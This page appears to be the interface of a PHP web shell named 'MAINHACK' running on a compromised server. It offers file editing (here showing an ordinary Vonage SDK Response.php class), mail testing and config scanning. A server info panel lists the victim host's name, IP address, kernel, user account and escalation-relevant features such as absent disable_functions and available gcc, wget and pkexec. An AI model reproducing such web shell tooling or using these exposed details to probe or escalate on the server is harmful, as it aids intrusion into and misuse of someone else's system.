[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: Response.php
<?php declare(strict_types=1); namespace Vonage; use Countable; use Iterator; use InvalidArgumentException; use Vonage\Response\Message; use function json_decode; /** * Wrapper for Vonage API Response, provides access to the count and status of * the messages. */ class Response implements Countable, Iterator { /** * @var array */ protected $data = []; /** * @var array */ protected $messages = []; /** * @var int */ protected $position = 0; /** * @todo Remove manual test, and throw JSON error instead in next major release * @var string $data */ public function __construct($data) { if (!is_string($data)) { throw new InvalidArgumentException('expected response data to be a string'); } $this->data = json_decode($data, true); } public function getMessages(): array { return $this->data['messages'] ?? []; } /** * (PHP 5 >= 5.1.0)<br/> * Count elements of an object * * @link http://php.net/manual/en/countable.count.php * </p> * <p> * The return value is cast to an integer. */ public function count(): int { return (int)$this->data['message-count']; } /** * (PHP 5 >= 5.0.0)<br/> * Return the current element * * @link http://php.net/manual/en/iterator.current.php */ public function current(): Message { if (!isset($this->messages[$this->position])) { $this->messages[$this->position] = new Message($this->data['messages'][$this->position]); } return $this->messages[$this->position]; } /** * (PHP 5 >= 5.0.0)<br/> * Move forward to next element * * @link http://php.net/manual/en/iterator.next.php */ public function next(): void { $this->position++; } /** * (PHP 5 >= 5.0.0)<br/> * Return the key of the current element * * @link http://php.net/manual/en/iterator.key.php */ public function key(): int { return $this->position; } /** * (PHP 5 >= 5.0.0)<br/> * Checks if current position is valid * * @link http://php.net/manual/en/iterator.valid.php * Returns true on success or false on failure. */ public function valid(): bool { return isset($this->data['messages'][$this->position]); } /** * (PHP 5 >= 5.0.0)<br/> * Rewind the Iterator to the first element * * @link http://php.net/manual/en/iterator.rewind.php */ public function rewind(): void { $this->position = 0; } public function toArray(): array { return $this->data; } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.84 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002